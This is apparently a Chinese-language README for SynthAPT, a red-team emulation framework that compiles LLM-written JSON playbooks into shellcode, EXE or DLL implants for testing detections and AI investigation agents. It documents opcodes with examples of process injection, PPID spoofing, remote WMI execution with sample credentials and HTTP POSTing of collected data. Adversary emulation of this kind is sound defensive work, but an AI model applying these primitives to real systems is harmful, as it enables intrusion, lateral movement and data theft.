基于剧本的对手模拟框架,可将JSON定义的攻击路径编译为位置无关的shellcode负载,用于验证高级检测和基于AI的调查代理。

SynthAPT 是一个基于剧本的对手模拟框架,用于复现复杂的攻击路径。它专为验证高级检测机制和基于 AI 的调查代理而设计。其核心思想是,恶意软件行为可以表达为 JSON 并编译成功能完整的恶意软件,从而利用大语言模型快速开发逼真的攻击场景。

核心植入物是一个由剧本解释器驱动的 shellcode 载荷。剧本预先定义了完整的攻击路径,植入物会依照路径执行,通过进程注入、横向移动等方式在网络环境中移动。每个植入物作为一个独立线程运行,拥有自己的指令集,因此多阶段攻击(例如初始访问 → 权限提升 → 横向移动 → 数据泄露)可以表示为协作植入物的图结构,所有内容都在剧本中预先定义。这带来了三大优势:

如果你不想使用发布版,可以按如下方式编译:
使用 cargo make 构建:```bash
cargo make build
./target/release/synthapt
这将编译shellcode和编辑器。
运行SynthAPT而不带任何命令将进入编辑器。你可以提供Claude API密钥,并在提示时查看更改。```bash SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload
如果你想要使用另一个LLM或订阅,你可以运行 `synthapt export-skill` 并将其与你拥有的任何编码设置一起使用。
它应该会输出一个 JSON playbook。使用 compile 命令将其编译成一个 payload:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
常量可以定义为字符串、十六进制对象或base64对象:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]
---
### end (0x00)
任务集结束。由编译器自动追加-无需手动添加。
---
### store_result (0x01)
将最后一次操作结果存储到变量中。
| 字段 | 类型 | |
|-------|------|-|
| var | u16 | **必须** |```json
{ "op": "store_result", "var": 0 }
返回当前的 shellcode 字节,可选地插入任务 ID 和/或魔法值。
| 字段 | 类型 | |
|---|---|---|
| task | u8 | 可选 |
| magic | u32 十六进制字符串或数字 | 可选 |
| { "op": "get_shellcode" } | ||
| { "op": "get_shellcode", "task": 5, "magic": "0x18181818" } |
### sleep (0x03)
休眠指定的毫秒数。
| 字段 | 类型 | |
|-------|------|-|
| ms | u32 | **必填** |```json
{ "op": "sleep", "ms": 5000 }
通过 cmd.exe 执行命令。
| 字段 | 类型 | |
|---|---|---|
| command | string | 必填 |
| { "op": "run_command", "command": "whoami /all" } |
---
### get_cwd (0x05)
获取当前工作目录。无参数。```json
{ "op": "get_cwd" }
读取文件并返回其内容。
| 字段 | 类型 | |
|---|---|---|
| path | string | 必填 |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | ||
| { "op": "read_file", "path": "%0" } |
---
### write_file (0x07)
将字节写入文件。
| Field | Type | |
|-------|------|-|
| path | string | **必需** |
| content | bytes | *可选* (省略则创建空文件) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
打印变量的状态码(0 = 成功,非零 = 错误)。
| 字段 | 类型 | |
|---|---|---|
| var | u16 | 必需 |
| { "op": "check_error", "var": 0 } |
---
### conditional (0x09)
根据变量状态分支到不同的任务索引。
| 字段 | 类型 | |
|-------|------|-|
| mode | `"data"` 或 `"error"` | **必填** |
| var1 | u16 | **必填** |
| var2 | u16 | *可选*(同时比较两个变量而非单一检查) |
| true | u16 | **必填**(条件成立时的任务索引) |
| false | u16 | **必填**(条件不成立时的任务索引) |
`true_target` 和 `false_target` 可作为 `true` 和 `false` 的别名接受。
单变量模式:
- `"data"` — 若 var1 数据非空则条件成立
- `"error"` — 若 var1 状态为 0(成功)则条件成立
双变量模式(存在 var2):
- `"data"` — 若 var1 数据等于 var2 数据则条件成立
- `"error"` — 若 var1 错误码等于 var2 错误码则条件成立```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
将变量设置为字面值。
| 字段 | 类型 | |
|---|---|---|
| var | u16 | 必需 |
| data | bytes | 可选(如果省略则为空) |
字面字符串和十六进制/base64 值存储时带有 5 字节的结果前缀,使其在回读时看起来像正常的操作结果。变量($n)和常量(%n)引用将原样传递。```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
### print_var (0x0B)
将变量内容打印到stdout(调试)。省略 `var` 以打印上次操作结果。
| 字段 | 类型 | |
|-------|------|-|
| var | u16 | *可选*(若省略则打印上次结果) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
无条件跳转到当前任务集中的某个任务索引。
| 字段 | 类型 | |
|---|---|---|
| target | u16 | 必填 |
| { "op": "goto", "target": 2 } |
---
### migrate (0x0D)
将Shellcode注入到匹配搜索字符串或PID的进程中。
| Field | Type | |
|-------|------|-|
| task_id | u8 | **必需** |
| search | string or number | *可选* (空表示不搜索;数字为目标PID) |
| magic | u32 hex string or number | *可选* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
列出运行中的进程。返回以制表符分隔的行:pid\timage\tcmdline\n。 无参数。```json
{ "op": "list_procs" }
---
### get_const (0x0F)
将一个常量加载到最后一个结果中。接受 `index` 或 `const_idx` 作为字段名。
| 字段 | 类型 | |
|-------|------|-|
| index | u16 | **必需** |```json
{ "op": "get_const", "index": 0 }
通过WMI执行命令,可选择在远程主机上执行。
| 字段 | 类型 | |
|---|---|---|
| command | string | 必需 |
| host | string | 可选(空值=本机) |
| user | string | 可选(空值=当前用户) |
| pass | string | 可选(空值=当前凭据) |
| { "op": "wmi_exec", "command": "calc.exe" } | ||
| { "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" } |
---
### http_send (0x11)
发送一个 HTTP/S 请求。
| 字段 | 类型 | |
|-------|------|-|
| host | string | **必需** |
| method | string | *可选* (默认值: `"GET"`) |
| port | u16 | *可选* (默认值: `80`) |
| path | string | *可选* (默认值: `"/"`) |
| secure | bool | *可选* (默认值: `false`) |
| body | bytes | *可选* (如果省略则为空) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
生成一个挂起的进程,注入shellcode,然后恢复它。
| 字段 | 类型 | |
|---|---|---|
| image | string | 必需 |
| task_id | u8 | 必需 |
| pipe_name | string | 可选 (用于捕获输出的命名管道,不包含 \\.\pipe\ 前缀) |
| search | string | 可选 (用于欺骗PPID的进程名/命令行) |
| no_kill | bool | 可选 (默认值:false — 注入后进程被终止) |
| { "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" } |
### redirect_stdout (0x13)
将标准输出重定向到文件或命名管道。后续的 `run_command` 输出将写入此处。